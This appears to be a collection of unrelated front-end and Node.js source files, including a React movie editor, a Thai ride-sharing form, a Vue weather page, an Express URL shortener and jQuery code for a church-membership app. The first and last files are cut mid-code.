<a href="#" title={this.state.firstStep ? this.props.t('Save from "Primary Facts" panel in order to enable other menu items.') : ""} onClick={this.chooseType.bind(this, "images")} className={this.state.chooseType == "images" ? "active" : ""}>
{Translate(this.props,"Images")}
</a>
</li>
<li>
<a href="#" title={this.state.firstStep ? this.props.t('Save from "Primary Facts" panel in order to enable other menu items.') : ""} onClick={this.chooseType.bind(this, "videos")} className={this.state.chooseType == "videos" ? "active" : ""}>
{Translate(this.props,"Videos")}
</a>
</li>
<li>
<a href="#" title={this.state.firstStep ? this.props.t('Save from "Primary Facts" panel in order to enable other menu items.') : ""} onClick={this.chooseType.bind(this, "castncrew")} className={this.state.chooseType == "castncrew" ? "active" : ""}>
{Translate(this.props,"Cast & Crew")}
</a>
</li>
<li>
<a href="#" title={this.state.firstStep ? this.props.t('Save from "Primary Facts" panel in order to enable other menu items.') : ""} onClick={this.chooseType.bind(this, "genres")} className={this.state.chooseType == "genres" ? "active" : ""}>
{Translate(this.props,"Genres")}
</a>
</li>
<li>
<a href="#" title={this.state.firstStep ? this.props.t('Save from "Primary Facts" panel in order to enable other menu items.') : ""} onClick={this.chooseType.bind(this, "countries")} className={this.state.chooseType == "countries" ? "active" : ""}>
{Translate(this.props,"Countries")}
</a>
</li>
</ul>
:
<div className="formFields">
<div className="form-group">
<select className="form-control form-select" value={this.state.chooseType} onChange={this.changeFilter}>
{
Object.keys(options).map(function(key) {
return (
<option key={key} value={key}>{options[key]}</option>
)
})
}
</select>
</div>
</div>
}
{
this.state.firstStep ?
<p className="movie_series_tip">
{this.props.t('Save from "Primary Facts" panel in order to enable other menu items.')}
</p>
: null
}
</div>
</div>
<div className="col-lg-10 bgSecondry">
<div className="tab-content dashboard">
{
this.state.editItem && this.state.chooseType == "facts" ?
<Link href="/watch" customParam={`videoId=${this.state.editItem.custom_url}`} as={`/watch/${this.state.editItem.custom_url}`}>
<a className="edit-watch-item">
{this.props.t(this.props.pageInfoData.selectType == "movie" ? "Watch Movie" : "Watch Series" )}
</a>
</Link>
: null
}
{
this.state.chooseType == "facts" ?
<Form
className="form"
defaultValues={defaultValues}
{...this.props}
empty={empty}
generalError={this.state.error}
validators={validator}
submitText={!this.state.submitting ? "Submit" : "Submitting..."}
model={formFields}
onSubmit={model => {
this.onSubmit(model);
}}
/>
:
this.state.chooseType == "seasons" && this.state.editItem ?
<Seasons {...this.props} updateSteps={this.updateSteps} seasons={this.state.seasons} movie={this.state.editItem} />
:this.state.chooseType == "images" && this.state.editItem ?
<Images {...this.props} updateSteps={this.updateSteps} images={this.state.images} movie={this.state.editItem} />
:this.state.chooseType == "videos" && this.state.editItem ?
<Videos {...this.props} updateSteps={this.updateSteps} seasons={this.state.seasons} videos={this.state.videos} movie={this.state.editItem} />
: this.state.chooseType == "castncrew" && this.state.editItem ?
<CastnCrew {...this.props} updateSteps={this.updateSteps} castncrew={this.state.castncrew} movie={this.state.editItem} />
: this.state.chooseType == "genres" && this.state.editItem ?
<Generes {...this.props} updateSteps={this.updateSteps} generes={this.state.generes} movie={this.state.editItem} />
: this.state.chooseType == "countries" && this.state.editItem ?
<Countries {...this.props} updateSteps={this.updateSteps} movie_countries={this.state.movie_countries} countries={this.state.countries} movie={this.state.editItem} />
: null
}
</div>
</div>
</div>
</div>
}
</React.Fragment>
)
}
}
const mapStateToProps = state => {
return {
pageInfoData: state.general.pageInfoData
};
};
const mapDispatchToProps = dispatch => {
return {
setMenuOpen: (status) => dispatch(actions.setMenuOpen(status))
};
};
export default connect(mapStateToProps, mapDispatchToProps)(Movie); |
import React, { useState } from 'react';
// import Router from 'next/router';
// import clsx from 'clsx';
import { makeStyles } from '@material-ui/core/styles';
// import { ThemeProvider, withStyles } from '@material-ui/styles';
import IconButton from '@material-ui/core/IconButton';
import ArrowBackIosIcon from '@material-ui/icons/ArrowBackIos';
import Stepper from '@material-ui/core/Stepper';
import Step from '@material-ui/core/Step';
import StepButton from '@material-ui/core/StepButton';
// import StepLabel from '@material-ui/core/StepLabel';
import Button from '@material-ui/core/Button';
import Typography from '@material-ui/core/Typography';
import PropTypes from 'prop-types'
// import { createMuiTheme } from '@material-ui/core/styles';
import ShareLocationBar from './components/ShareLocationBar';
import PlaceAutocompleteAndDirections from './components/PlaceAutocompleteAndDirections';
import CustomDateTimePicker from './components/CustomDateTimePicker';
import TravelCompanion from './components/TravelCompanion';
// import geno from '../image/geno.svg'
import Selectgender from './components/Selectgender';
import { Link, withRouter } from 'react-router-dom';
import CommuteIcon from '@material-ui/icons/Commute';
import CheckCircleIcon from '@material-ui/icons/CheckCircle';
import RecentActorsIcon from '@material-ui/icons/RecentActors';
import DriveEtaIcon from '@material-ui/icons/DriveEta';
import EmojiPeopleIcon from '@material-ui/icons/EmojiPeople';
import firebase from '../../connect/firebase';
import { post, get } from '../../RESTful_API';
import { dateTime } from '../../module';
import { setDate } from 'date-fns';
import AlertCheck from './components/AlertCheck';
import TimerIcon from '@material-ui/icons/Timer';
import TimerOffIcon from '@material-ui/icons/TimerOff';
import PeopleAltIcon from '@material-ui/icons/PeopleAlt';
import WcIcon from '@material-ui/icons/Wc';
require('es6-promise').polyfill();
require('isomorphic-fetch');
// const share_location_theme = createMuiTheme({
// palette: {
// primary: {
// main: 'rgba(255, 255, 255, 0)',
// }
// },
// });
// function QontoStepIcon(props) {
// const classes = useQontoStepIconStyles();
// const { active, completed } = props;
// return (
// <div
// className={clsx(classes.root, {
// [classes.active]: active,
// })}
// >
// {completed ? <Check className={classes.completed} /> : <div className={classes.circle} />}
// </div>PlaceAutocompleteAndDirections
// )
// }
// const useQontoStepIconStyles = makeStyles({
// root: {
// color: '#eaeaf0',
// display: 'flex',
// height: 22,
// alignItems: 'center'
// },
// active: {
// color: '#784af4'
// },
// circle: {
// width: 8,
// height: 8,
// borderRadius: '50%',
// backgroundColor: 'currentColor'
// },
// completed: {
// color: '#784af4',
// zIndex: 1,
// fontSize: 18
// }
// })
function getSteps() {
return ['เส้นทาง', 'วันเวลา', 'จำนวน', 'เพศ'];
}
function getStepContent(stepIndex) {
switch (stepIndex) {
case 0:
// หน้าสร้างเเชร์ Form 1 ต้นทาง-ปลายทาง
return (<PlaceAutocompleteAndDirections />);
case 1:
// หน้าสร้างเชร์ ตั้งค่าเวลา Form 2
return (<CustomDateTimePicker />);
case 2:
// หน้าสร้างเชร์ จำนวนเพื่อนร่วมทาง (ขาดเพศ)
return (<TravelCompanion />);
case 3:
//หน้าเเชร์เลือกเพศ
return (<Selectgender />);
default:
return 'Uknown stepIndex';
}
}
const useStyles = makeStyles(theme => ({
root: {
width: '-webkit-fill-available',
overflow: 'hidden'
// padding: '30px 0px 10px 0px'
},
button: {
marginRight: theme.spacing(1),
},
backButton: {
marginRight: theme.spacing(1),
},
completed: {
display: 'inline-block',
},
instructions: {
// marginTop: theme.spacing(1),
// marginBottom: theme.spacing(1),
},
nextStaps: {
height: '45px',
bottom: '15px',
width: '-webkit-fill-available',
position: 'absolute',
marginLeft: '22px',
marginRight: '22px',
},
}));
function ShareLocation(props) {
const classes = useStyles();
const [activeStep, setActiveStep] = useState(0);
const [completed, setCompleted] = useState(new Set());
const [skipped, setSkipped] = useState(new Set());
const [location, setLocation] = useState(new Set());
const [sex, setSex] = useState(new Set());
const [max_number, setMaxNumber] = useState(new Set());
const [date, setDate] = useState(new Set());
const [user, setUser] = useState(new Set());
const [open, setOpen] = useState(false);
firebase.auth().onAuthStateChanged((user) => {
setUser(user)
})
const steps = getSteps();
// console.log(Router);
function totalSteps() {
return getSteps().length;
}
function isStepOptional(step) {
return step === 1;
}
function handleSkip() {
if (!isStepOptional(activeStep)) {
// You probably want to guard against something like this
// it should never occur unless someone's actively trying to break something.
throw new Error("You can't skip a step that isn't optional.");
}
setActiveStep(prevActiveStep => prevActiveStep + 1);
setSkipped(prevSkipped => {
const newSkipped = new Set(prevSkipped.values());
newSkipped.add(activeStep);
return newSkipped;
});
}
function skippedSteps() {
return skipped.size;
}
function completedSteps() {
return completed.size;
}
function allStepsCompleted() {
return completedSteps() === totalSteps() - skippedSteps();
}
function isLastStep() {
return activeStep === totalSteps() - 1;
}
function handleNext() {
const newActiveStep =
isLastStep() && !allStepsCompleted()
? // It's the last step, but not all steps have been completed
// find the first step that has been completed
steps.findIndex((step, i) => !completed.has(i))
: activeStep + 1;
setActiveStep(newActiveStep);
}
function handleBack() {
setActiveStep(prevActiveStep => prevActiveStep - 1);
}
const handleStep = step => () => {
setActiveStep(step);
};
function handleComplete() {
const newCompleted = new Set(completed);
newCompleted.add(activeStep);
setCompleted(newCompleted);
console.log(activeStep);
if (activeStep === 0) {
get.share.location(user.uid).then(function (data) {
setLocation({
start_address: data.routes[0].legs[0].start_address,
end_address: data.routes[0].legs[0].end_address
})
});
}
if (activeStep === 1) {
get.share.date(user.uid).then(function (data) {
setDate({
end_time: data.end_time.value,
start_time: data.start_time.value
})
});
}
if (activeStep === 2) {
get.share.max_number(user.uid).then(function (data) {
setMaxNumber({ value: data.value })
});
}
if (activeStep === 3) {
get.share.sex(user.uid).then(function (data) {
setSex({ value: data.value })
});
}
/**
* Sigh... it would be much nicer to replace the following if conditional with
* `if (!this.allStepsComplete())` however state is not set when we do this,
* thus we have to resort to not being very DRY.
*/
if (completed.size !== totalSteps() - skippedSteps()) {
handleNext();
}
}
const handleClose = () => {
setOpen(false);
};
function handleReset() {
// setActiveStep(0);
// setCompleted(new Set());
// setSkipped(new Set());
firebase.auth().onAuthStateChanged((user) => {
post.status.share(user.uid, { value: "true", uid: user.uid, id: user.uid }, dateTime)
post.status.owner(user.uid, { value: "true", uid: user.uid, share_id: user.uid }, dateTime)
post.status.member(user.uid, { value: "false", uid: user.uid, share_id: user.uid }, dateTime)
post.status.alert(user.uid, { value: "false", uid: user.uid, share_id: user.uid }, dateTime)
post.status.process(user.uid, { value: "false", uid: user.uid, share_id: user.uid }, dateTime)
get.users.profile(user.uid).then(function (data) {
post.share.owner(user.uid, { id: user.uid, profile: data }, dateTime)
post.share.member(user.uid, { [user.uid]:{share_id: user.uid, uid: user.uid, profile: data} }, dateTime)
})
})
setOpen(true)
// props.history.goBack()
}
function isStepSkipped(step) {
return skipped.has(step);
}
function isStepComplete(step) {
return completed.has(step);
}
function handleGoBackPage() {
props.history.goBack();
}
function goBack() {
if (activeStep === 0) {
handleGoBackPage();
} else {
handleBack();
}
}
return (
<div className={classes.root}>
<ShareLocationBar>
<Button onClick={goBack}>
<IconButton aria-label="Back" >
<ArrowBackIosIcon />
</IconButton>
</Button>
<Stepper alternativeLabel nonLinear activeStep={activeStep} style={{
width: '-webkit-fill-available',
padding: '30px 0px 10px 0px'
}}>
{steps.map((label, index) => {
const stepProps = {};
const buttonProps = {};
if (isStepOptional(index)) {
buttonProps.optional = <Typography variant="caption"></Typography>;
}
if (isStepSkipped(index)) {
stepProps.completed = false;
}
return (
<Step key={label} {...stepProps} >
<StepButton
onClick={handleStep(index)}
completed={isStepComplete(index)}
{...buttonProps}
>
{label}
</StepButton>
{/* <StepLabel StepIconComponent={QontoStepIcon} >{label}</StepLabel> */}
</Step>
);
})}
</Stepper>
</ShareLocationBar>
<div>
{allStepsCompleted() ? (
<div>
<center>
<div bgcolor="99FF99" shadow="5">
<h2>แชร์เส้นทางเสร็จสิ้น <CheckCircleIcon></CheckCircleIcon></h2>
<hr />
</div>
</center>
<br />
<div bgcolor="#DCDCDC">
<center>
<div>
<div>
<body bgcolor="#6666FF">
{/* <body bgcolor="#6666FF"> */}
{/* <hr borderStyle="dotted"></hr> */}
<h2 style={{border:'1px solid black'}}> <RecentActorsIcon></RecentActorsIcon> ข้อมูลการแชร์</h2>
</body>
</div>
<body bgcolor="#B4CFFc"
style={{border:'1px solid black'}}
>
<b>ต้นทาง</b> <EmojiPeopleIcon></EmojiPeopleIcon>
</body>
<body bgcolor="#EEEEEE">
{location.start_address}
</body>
<body bgcolor="#B4CFFc"
style={{border:'1px solid black'}}
>
<b>ปลายทาง</b> <DriveEtaIcon></DriveEtaIcon>
</body>
<body bgcolor="#EEEEEE">
{location.end_address}
{/* <hr></hr> */}
</body>
<body bgcolor="#B4CFFc"
style={{border:'1px solid black'}}
>
<b>เริ่ม - ปิด การแชร์</b> <RecentActorsIcon></RecentActorsIcon>
</body>
<body bgcolor="#EEEEEE">
<TimerIcon></TimerIcon> <b>เริ่มการแชร์:</b> {date.start_time}
<br />
<TimerOffIcon></TimerOffIcon> <b>ปิดการแชร์:</b> {date.end_time}
<br />
<PeopleAltIcon></PeopleAltIcon> <b>ต้องการผู้ร่วมเดินทางเพิ่ม:</b> {max_number.value} คน
<br />
<WcIcon></WcIcon> <b>ต้องการร่วมเดินทางกับเพศ: {sex.value}</b>
<br/>
<hr border="5"></hr>
</body>
</div>
</center>
</div>
<div style={{
position: "fixed",
bottom: '25px',
width: '-webkit-fill-available'
}}>
<center >
<Button variant="contained" onClick={handleReset} color="primary" >เปิดแชร์</Button>
</center>
</div>
<AlertCheck open={open} onClose={handleClose} />
</div>
) : (
<div>
{/* <ThemeProvider theme={share_location_theme}> */}
<Typography className={classes.instructions}>{getStepContent(activeStep)}</Typography>
<div style={{
position: 'fixed',
bottom: '0px',
width: '-webkit-fill-available'
}}>
{/* <center> */}
{/* <Button disabled={activeStep === 0} onClick={handleBack} className={classes.button}>Back</Button> */}
{/* <Button
variant="contained"
color="primary"
onClick={handleNext}
className={classes.button}
>Next</Button>
{isStepOptional(activeStep) && !completed.has(activeStep) && (
<Button
variant="contained"
color="primary"
onClick={handleSkip}
className={classes.button}
>Skip</Button>
)} */}
{activeStep !== steps.length &&
(completed.has(activeStep) ? (
<Typography variant="caption" className={classes.completed}>Step {activeStep + 1} already completed</Typography>
) : (
<Button variant="contained" color="primary" className={classes.nextStaps} onClick={handleComplete}>
{completedSteps() === totalSteps() - 1 ? 'เสร็จสิ้นขั้นตอน' : 'ขั้นตอนถัดไป'}
</Button>
))}
{/* </center> */}
</div>
{/* </ThemeProvider> */}
</div>
)}
</div>
</div>
)
}
ShareLocation.propTypes = {
onClose: PropTypes.func,
map: PropTypes.object
};
export default withRouter(ShareLocation); |
const eventBus = new Vue({
data() {
return {
updateSignalForLIFF: 0,
}
},
})
const NotfoundComponent = {
template: `
<div>
<h1>Not found</h1>
<div>
當前網址: {{ currentURL() }}
</div>
</div>
`,
methods: {
currentURL() {
return window.location.href
},
},
};
const HomeComponent = {
template: `
<div>
<h1>Home</h1>
<div v-if="getLiffInfo()">
<div v-for="infoKey in Object.keys(getLiffInfo())" :key="infoKey">{{ infoKey }}: {{ getLiffInfo()[infoKey] }}</div><br>
</div>
</div>
`,
methods: {
getLiffInfo() {
eventBus.updateSignalForLIFF
return window.liffInfo
},
},
};
const WeatherComponent = {
template: `
<div>
<h1>Weather</h1>
<div v-if="weatherInfo">
<div>IP {{ weatherInfo['ip'] }}</div><br>
<div>Estimated GPS (latitude, longitude): ({{ weatherInfo['cwbcurrent']['lat'] }}, {{ weatherInfo['cwbcurrent']['lon'] }})</div><br>
<div v-for="element in weatherInfo['cwbcurrent']['weatherElement']">
<div v-if="element.elementName == 'TEMP'">
溫度: {{ element.elementValue.value }}
</div>
<div v-if="element.elementName == 'HUMD'">
濕度: {{ element.elementValue.value }}
</div>
<div v-if="element.elementName == 'PRES'">
氣壓: {{ element.elementValue.value }}百帕
</div>
<div v-if="element.elementName == 'WDSD'">
風速: {{ element.elementValue.value }}m/s
</div>
<div v-if="element.elementName == 'H_UVI'">
紫外線UVI: {{ element.elementValue.value }}
</div>
<div v-if="element.elementName == '24R'">
雨量: {{ element.elementValue.value }}mm/day
</div>
</div>
<br>
<br>
<div>
地點: {{ weatherInfo['cwbcurrent']['locationName'] }}<br>
時間: {{ weatherInfo['cwbcurrent']['time']['obsTime'] }}<br>
</div>
</div>
<div v-else>
No Data
</div>
</div>
`,
data: function () {
return {
weatherInfo: null,
};
},
methods: {
},
async created() {
await fetch("https://iptoweather.vm5apis.com/")
.then((response) => response.json() )
.then((info) => {
this.weatherInfo = info
})
;
},
};
const routes = [
{
path: '/',
component: HomeComponent
},
{
path: '/weather',
component: WeatherComponent
},
{
path: '*',
component: NotfoundComponent
}
];
const router = new VueRouter({
routes
});
var vueInstance;
function initVue() {
if (vueInstance) {
return;
}
vueInstance = new Vue({
el: '#vue-app',
router
});
}
|
// React
import React from 'react';
// React Navigation
import {NavigationContainer} from '@react-navigation/native';
import {createMaterialBottomTabNavigator} from '@react-navigation/material-bottom-tabs';
// Redux
import {Provider} from 'react-redux';
import store from './src/Redux/store';
// Screens
import SearchTabScreen from './src/Screens/SearchTabScreen';
import FavouritesTabScreen from './src/Screens/FavouritesTabScreen';
import AddTabScreen from './src/Screens/AddTabScreen';
import ProfileTabScreen from './src/Screens/ProfileTabScreen';
// Icons
import MaterialCommunityIcons from 'react-native-vector-icons/MaterialCommunityIcons';
const MainBottomTabNavigator = createMaterialBottomTabNavigator();
function App() {
return (
// Redux provider
<Provider store={store}>
{/* React Navigation */}
<NavigationContainer>
<MainBottomTabNavigator.Navigator initialRouteName="Search">
<MainBottomTabNavigator.Screen
name="Search"
component={SearchTabScreen}
options={{
tabBarLabel: 'Search',
tabBarColor: '#0C63ED',
tabBarIcon: ({color}) => (
<MaterialCommunityIcons
name="search-web"
color={color}
size={26}
/>
),
}}
/>
<MainBottomTabNavigator.Screen
name="Favourites"
component={FavouritesTabScreen}
options={{
tabBarLabel: 'Favourites',
tabBarColor: '#EBB50B',
tabBarIcon: ({color}) => (
<MaterialCommunityIcons name="star" color={color} size={26} />
),
}}
/>
<MainBottomTabNavigator.Screen
name="Add"
component={AddTabScreen}
options={{
tabBarLabel: 'Add New',
tabBarColor: '#1BBD53',
tabBarIcon: ({color}) => (
<MaterialCommunityIcons
name="plus-box"
color={color}
size={26}
/>
),
}}
/>
<MainBottomTabNavigator.Screen
name="Profile"
component={ProfileTabScreen}
options={{
tabBarLabel: 'Profile',
tabBarColor: '#D81838',
tabBarIcon: ({color}) => (
<MaterialCommunityIcons
name="account-box"
color={color}
size={26}
/>
),
}}
/>
</MainBottomTabNavigator.Navigator>
</NavigationContainer>
</Provider>
);
}
export default App;
|
import {
createStore, applyMiddleware, combineReducers, compose,
} from 'redux';
import { reducer as reduxFormReducer } from 'redux-form';
import thunk from 'redux-thunk';
import { reducer as toastrReducer } from 'react-redux-toastr';
import { reactReduxFirebase, firebaseReducer } from 'react-redux-firebase';
import { persistStore, persistReducer } from 'redux-persist';
import localStorage from 'redux-persist/lib/storage';
import hardSet from 'redux-persist/lib/stateReconciler/hardSet';
import 'firebase/auth';
import 'firebase/database';
import firebaseInit from './firebaseConfig';
import app from './reducer';
import profile from './containers/Profile/reducer';
import logbook from './containers/NewsFeed/reducer';
const persistConfig = {
key: 'root',
storage: localStorage,
};
const middleware = applyMiddleware(thunk);
export default (initialState = {}) => {
const createStoreWithFirebase = compose(
reactReduxFirebase(firebaseInit),
middleware, window.devToolsExtension ? window.devToolsExtension() : f => f,
)(createStore);
const rootReducer = combineReducers({
firebase: persistReducer(
{ key: 'firepersist', storage: localStorage, stateReconciler: hardSet },
firebaseReducer,
),
form: reduxFormReducer,
toastr: toastrReducer,
app,
profile,
logbook,
});
const persistedReducer = persistReducer(persistConfig, rootReducer);
const store = createStoreWithFirebase(persistedReducer, initialState);
const persistor = persistStore(store);
return { store, persistor };
};
|
const moult = require("moult");
const db = require('./models');
const app = moult.app('sketch-web')
const ejs = require('ejs');
app.set("404",(req,res,rep)=>{
res.redirect("/");
});
//app.set('/auth',auth.login);
app.use(moult.static({ host:"public"}));
app.use(moult.multipart())
app.use(moult.cookies());
app.use(moult.sessions({save:true,expires:2,json:true,path:"/"}));
//app.use(ejs())
app.get('/',(req,res,rep)=>{
//res.session('KEY')
data = {
'toolbartitle':'SKETCH - Selling Services'
}
res.render('main',data);
});
app.post('/',(req,res,rep)=>{
console.log(req.params);
res.json(req.params);
});
app.get('/products',(req,res,rep)=>{
let product = new db();
product.all()
.then((results)=>{
for(let i=0; i<=results.length; i++){
//console.log(results[i])
}
res.render('products',{'P':results})
});
//res.render('products',{})
});
app.post('/products',(req,res,rep)=>{
console.log(req.params)
res.redirect('/products')
});
app.post('/product',(req,res,rep)=>{
let product = {}
console.log(req.params)
for(let k in req.params){
product[k]=req.params[k]['buffer'].toString()
}
res.session('product',product)
res.render('product',product);
});
app.post('/category',(req,res,rep)=>{
category = {}
for(let k in req.params){
category[k] = req.params[k]['buffer'].toString();
}
console.log(category);
res.json(category);
});
app.get('/order',(req,res,rep)=>{
res.render('product',{})
});
app.post('/order',(req,res,rep)=>{
console.log(req.params)
res.json({'ORDER':'PRODUCT'})
});
app.get('/goods',(req,res,rep)=>{
let products = {
}
let product = new db();
product.all()
.then((results)=>{
for(let i=0; i<=results.length; i++){
//console.log(results[i])
}
res.json(results);
});
//res.json(req.session)
});
//@
app.routes()
.get('/feedback',(req,res,rep)=>{
let feedback = {}
for(let k in req.params){
feedback[k] = req.params[k]['buffer'].toString();
}
console.log(feedback);
res.json(feedback);
})
.post('/feedback',(req,res,rep)=>{
console.log(req.params)
res.redirect('/')
});
app.listen(3000); |
const express = require('express');
const path = require('path');
const connectDB = require('./db');
const cors = require('cors');
const app = express();
const Url = require('./models/url');
const validUrl = require('valid-url');
const shortid = require('shortid');
const process = require('process');
connectDB();
app.use(express.json({ extended: false }));
app.use(cors());
const PORT = process.env.PORT || 5000;
// const url = new Url({
// urlCode: '2',
// longUrl: 'abc',
// shortUrl: 'xyz',
// date: new Date(),
// });
// url.save();
var __dirname = path.dirname(__filename);
console.log(process.cwd());
console.log(__filename);
app.get('/', async (req, res) => {
try {
res.sendFile(path.join(__dirname, '/public', '/index.html'));
} catch (err) {
res.send('Server Not Working');
}
});
app.post('/url', async (req, res) => {
const { longUrl } = req.body;
// const baseUrl = 'http://localhost:5000';
const baseUrl = 'https://ak-surl.herokuapp.com';
if (!validUrl.isUri(baseUrl)) {
res.status(401).json('Invalid base Url');
}
const urlCode = shortid.generate();
if (validUrl.isUri(longUrl)) {
try {
let url = await Url.findOne({ longUrl });
if (url) {
res.json(url);
} else {
const shortUrl = baseUrl + '/' + urlCode;
url = new Url({
longUrl,
shortUrl,
urlCode,
date: new Date(),
});
await url.save();
res.json(url);
}
} catch (error) {
console.log(error);
res.status(500).json('Server Error');
}
}
});
app.get('/url', async (req, res) => {
try {
const data = await Url.find({});
res.send(data);
} catch (error) {
res.status(400).send(error);
}
});
app.get('/:code', async (req, res) => {
const code = req.params.code;
try {
let url = await Url.findOne({ urlCode: code });
let longUrl = url.longUrl;
// res.send(longUrl);
res.redirect(longUrl);
} catch (error) {
res.status(400).send(error);
}
// res.send('Hello from server' + req.params.code);
});
app.listen(PORT, () => console.log(`server running at port ${PORT}`));
|
import { model } from 'microback'
export default model({
name: 'User',
schema: {
firstName: String,
lastName: String,
email: {
type: String,
unique: true
},
password: String
}
})
|
const _n = require('lodash');
setInterval(() => console.log( _.random(1,1000)),2000) |
var appModule=angular.module('app',[]);
appModule.directive('hello',function(){
return {
restrict:'E',
templateUrl:"helloTemplate.html",
replace:true
}
})
|
function carregar(pagina){
var corpo = $('#corpo');
corpo.empty();
corpo.load(pagina)
};
function addIgreja(){
$("#plot").empty();
var igreja_nome = $("#igreja_nome").val();
var igreja_rua = $("#igreja_rua").val();
var igreja_numero = $("#igreja_numero").val();
var igreja_complemento = $("#igreja_complemento").val();
var igreja_cep = $("#igreja_cep").val();
var igreja_bairro = $("#igreja_bairro").val();
var igreja_cidade = $("#igreja_cidade").val();
var igreja_uf = $("#igreja_uf").val();
var dados = {
"igreja_nome" : igreja_nome,
"igreja_rua" : igreja_rua,
"igreja_numero" : igreja_numero,
"igreja_complemento" : igreja_complemento,
"igreja_cep" : igreja_cep,
"igreja_bairro" : igreja_bairro,
"igreja_cidade" : igreja_cidade,
"igreja_uf" : igreja_uf
};
$.ajax({
method: "POST",
url: "igreja/add_igreja.php",
data: dados
}).done((data) => alert(data));
}
function listaIgrejas(callback = null) {
$.ajax({
method: "GET",
url: "igreja/lista_igrejas.php"
}).done((retorno) => {
retorno = JSON.parse(retorno);
var texto_retorno = '<select class="form-control" name="membro_igreja_nome" id="membro_igreja_nome">';
if(retorno.length == 0){
texto_retorno += "<option value=0>Não há igrejas cadastradas!</option>";
}
else{
texto_retorno += '<option value=0>Selecione a igreja</option>';
for (i in retorno) {
texto_retorno += '<option value="'+retorno[i].igreja_nome+'">'+retorno[i].igreja_nome+', '+retorno[i].cidade+ '</option>';
}
}
texto_retorno += '</select>';
$("#lista_igrejas").append(texto_retorno);
if(callback != null)
callback();
});
}
function addMembroIgreja() {
$("#plot").empty();
var membro_igreja_nome = $("#membro_igreja_nome").val();
var membro_nome = $("#membro_nome").val();
var membro_cpf = $("#membro_cpf").val();
var membro_nasc = $("#membro_nasc").val();
var membro_sexo = $("#membro_sexo").val();
var membro_email = $("#membro_email").val();
var membro_telefone = $("#membro_telefone").val();
var membro_rua = $("#membro_rua").val();
var membro_numero = $("#membro_numero").val();
var membro_complemento = $("#membro_complemento").val();
var membro_cep = $("#membro_cep").val();
var membro_bairro = $("#membro_bairro").val();
var membro_cidade = $("#membro_cidade").val();
var membro_uf = $("#membro_uf").val();
var dados = {
"membro_igreja_nome" : membro_igreja_nome,
"membro_nome" : membro_nome,
"membro_cpf" : membro_cpf,
"membro_nasc" : membro_nasc,
"membro_sexo" : membro_sexo,
"membro_email" : membro_email,
"membro_telefone" : membro_telefone,
"membro_rua" : membro_rua,
"membro_numero" : membro_numero,
"membro_complemento" : membro_complemento,
"membro_cep" : membro_cep,
"membro_bairro" : membro_bairro,
"membro_cidade" : membro_cidade,
"membro_uf" : membro_uf
};
$.ajax({
method: "POST",
url: "membro/add_membro.php",
data: dados
}).done((data) => alert("Membro Cadastrado!"));
}
function addCulto() {
var igreja_nome = $("#membro_igreja_nome").val();
var culto_data = $("#culto_data").val();
var culto_hora = $("#culto_horario").val();
var culto_preletor = $("#culto_preletor").val();
var culto_presentes = $("#culto_presentes").val();
var culto_oferta = $("#culto_oferta").val();
var culto_dizimo = $("#culto_dizimo").val();
var dados = {
"igreja_nome" : igreja_nome,
"culto_data" : culto_data,
"culto_hora" : culto_hora,
"culto_preletor" : culto_preletor,
"culto_presentes" : culto_presentes,
"culto_oferta" : culto_oferta,
"culto_dizimo" : culto_dizimo
};
$.ajax({
method: "POST",
url: "culto/add_culto.php",
data: dados
}).done((data) => alert("OK"));
}
function atualizaListaNaoPastores() {
$("#mostra_membros_igrejas").empty();
var igreja_nome = $("#membro_igreja_nome").val();
var membro_nome = $("#proc_membro_nome").val();
//
if (!membro_nome){
membro_nome = "";
}
var dados = {
"igreja_nome" : igreja_nome,
"membro_nome" : membro_nome
}
$.ajax({
method: "GET",
url: "pastor/lista_nao_pastores.php",
data: dados
}).done((retorno) => {
retorno = JSON.parse(retorno);
var texto_retorno = ""; //corpo da div
texto_retorno += '<table class="table table-striped" style="width:100%;"><thead><tr><th style="width:5%;">#</th><th style="width:95%;">Nome</th></tr></thead>';
texto_retorno += '<tbody>';
//
for (i in retorno) {
var n = parseInt(parseInt(i)+1);
texto_retorno += '<tr>';
texto_retorno += '<td>'+ n +'</td>';
texto_retorno +='<td>';
texto_retorno += '<a role="button" data-toggle="collapse" href="#collapse'+n+'" aria-expanded="false" aria-controls="collapse'+n+'">';
texto_retorno += '' + retorno[i].membro_nome+ '';
texto_retorno += '</a>';
texto_retorno += '<div class="collapse" id="collapse'+n+'">';
texto_retorno += '<div class="well">';
texto_retorno += '<p class="recuo">';
texto_retorno += 'CPF: '+ retorno[i].membro_cpf + '<br>';
texto_retorno += '</p>';
texto_retorno += '<p class="recuo">';
texto_retorno += 'Endereço: ' + retorno[i].rua + ', ' + retorno[i].numero;
texto_retorno += ', ' + retorno[i].bairro + ', ' + retorno[i].cep;
texto_retorno += '</p>';
texto_retorno += '</div>';
texto_retorno += '<div class="row">';
texto_retorno += '<div class="col-md-10">';
texto_retorno += '<div class="alinhamento">';
texto_retorno += '<input class="btn btn-primary" id="btn_promover" onclick="promoveParaPastor('+retorno[i].membro_cpf + ',\'' + igreja_nome + '\')" type="button" value="Promover"></input>';
texto_retorno += '</div>';
texto_retorno += '</div>';
texto_retorno += '</div>';
texto_retorno += '</div>';
texto_retorno += '</td>';
texto_retorno += '</tr>';
}
texto_retorno += '</tbody></table>';
$("#mostra_membros_igrejas").append(texto_retorno);
});
}
function promoveParaPastor(cpf_membro, igreja_nome) {
var dados = {
"cpf_membro" : cpf_membro,
"igreja_nome" : igreja_nome
};
$.ajax({
method: "POST",
url: "pastor/add_pastor.php",
data: dados
}).done((retorno) => {
alert(retorno);
})
}
function listaMembrosIgreja() {
var igreja_nome = $("#membro_igreja_nome").val();
var membro_nome = $("#proc_membro_nome").val();
var dados = {
"nome_igreja" : igreja_nome,
"nome_membro" : membro_nome
};
$("#mostra_membros_igreja").empty();
$.ajax({
method: "GET",
url: "membro/lista_membros_igreja.php",
data: dados
}).done((retorno) => {
retorno = JSON.parse(retorno);
var texto_retorno = '<table class="table table-striped" style="width:100%;"><thead><tr><th style="width:5%;">#</th><th style="width:20%;">Igreja</th><th style="width:75%;">Nome</th></tr></thead>';
texto_retorno += '<tbody>';
//
for (i in retorno) {
if(retorno[i].membro_sexo == 'f'){
var sexo = "Feminino";
}
else
var sexo = "Masculino";
var n = parseInt(parseInt(i)+1);
texto_retorno += '<tr>';
texto_retorno += '<td>'+ n +'</td>';
texto_retorno += '<td>' + retorno[i].igreja_nome + '</td>';
texto_retorno +='<td>';
texto_retorno += '<a role="button" data-toggle="collapse" href="#collapse'+n+'" aria-expanded="false" aria-controls="collapse'+n+'">';
texto_retorno += '' + retorno[i].membro_nome+ '';
texto_retorno += '</a>';
